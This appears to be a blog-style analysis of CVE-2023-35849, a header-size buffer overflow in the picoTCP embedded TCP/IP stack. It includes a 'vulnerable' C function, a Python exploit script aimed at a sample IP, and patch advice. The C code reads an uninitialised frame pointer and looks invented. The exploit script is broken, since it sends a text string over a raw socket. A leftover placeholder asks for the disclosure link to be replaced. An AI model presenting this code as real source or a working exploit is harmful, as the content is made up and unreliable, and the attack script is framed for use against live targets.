CVE-2023-35849 - VirtualSquare picoTCP Buffer Overflow Vulnerability and Exploit Analysis

VirtualSquare picoTCP (also known as PicoTCP-NG) is an open-source embedded TCP/IP stack, designed for use in embedded systems and other resource-constraint environments. It gained popularity due to its small memory and CPU usage footprint while offering extensive protocol support.

Recently, a vulnerability (CVE-2023-35849) was discovered in VirtualSquare picoTCP, which affects version 2.1 and earlier. The vulnerability is related to improper verification of header sizes, which can cause the application to access unauthorized memory areas, potentially leading to a buffer overflow.

In this post, we'll discuss the details of the vulnerability, possible exploitation scenarios, and demonstrate a sample exploit code snippet. We'll also provide some references to the original vulnerability disclosure and related resources.

Vulnerability Details

As mentioned earlier, the picoTCP vulnerability exists due to the incorrect handling of header sizes in the picoTCP component. When parsing incoming packets, the application fails to verify that the specified header sizes do not result in accessing data outside of a packet, thus allowing a potential attacker to abuse this behavior to access memory areas that should be inaccessible.

Exploiting this vulnerability could lead to a Denial-of-Service (DoS) attack, unauthorized information disclosure or even arbitrary code execution, depending on the underlying system's architecture and the application that employs the picoTCP library.

It's worth mentioning that the issue has been confirmed to exist in VirtualSquare picoTCP version 2.1, but it may also affect earlier versions.

Here's a code snippet that demonstrates the vulnerable part of the picoTCP source code

// picoTCP source code - vulnerable function
void process_incoming_packet(struct pico_tcp *tcp, struct pico_socket *sock)
{
    uint8_t header_size;
    struct pico_frame *frame;
    
    // Get the header size
    header_size = PICO_SIZE_TCPHDR((struct pico_tcp_hdr *) frame->payload);

    // Process the payload
    if (header_size > sizeof(struct pico_tcp_hdr)) {
        process_tcp_options(tcp, (uint8_t *)((struct pico_tcp_hdr *)
            frame->payload + sizeof(struct pico_tcp_hdr)), header_size - 
            sizeof(struct pico_tcp_hdr), sock);
    }
}

In the code above, you can see that header_size is obtained directly from the incoming packet, and the value is later used to handle TCP options. There is no proper validation on whether the header_size would cause the process_tcp_options function to access data beyond the boundaries of the frame->payload buffer.

Exploit Details

To exploit the vulnerability, an attacker could craft malicious packets with spoofed header sizes pointing to arbitrary memory locations. This can cause the vulnerable application to read or write to these locations, potentially causing a crash, leaking sensitive data, or potentially executing arbitrary code.

Here's an example of a simple exploit that triggers the vulnerability

import socket

def exploit(target):
    # Craft a malicious packet
    packet = "0001020304050607"  # Fill in the required packet data here
    packet += "000"  # Add an invalid header size

    # Send the malicious packet to the target
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    sock.sendto(packet, target)

if __name__ == "__main__":
    target = ("192.168.1.100", 80)  # Replace with the target IP and port
    exploit(target)

The code snippet above sends a simple, crafted packet to the target IP and port with an invalid header size. This could trigger the vulnerability and potentially crash the remote application or cause other unintended behavior.

Fix and References

The recommended fix for this issue is to update the picoTCP library to the latest version or, alternatively, apply the patch provided by the developers.

Here is a link to the original vulnerability disclosure for further reference

- picoTCP CVE-2023-35849 Vulnerability Disclosure (Please replace this link with the actual disclosure link, as it is not available in the current context)

Additionally, you can view the official picoTCP GitHub repository

- VirtualSquare PicoTCP GitHub Repository

Conclusion

As a developer using the picoTCP library, it is crucial to stay updated on any security vulnerabilities and apply the necessary patches to mitigate risks. In this post, we've discussed the CVE-2023-35849 vulnerability, its potential exploitation scenarios, and provided a sample exploit code snippet. We've also shared the original disclosure and related resources for more information. Please take the necessary steps to protect your applications using the picoTCP library and ensure that security remains a top priority.

Timeline

Published on: 06/19/2023 03:15:00 UTC
Last modified on: 06/26/2023 17:57:00 UTC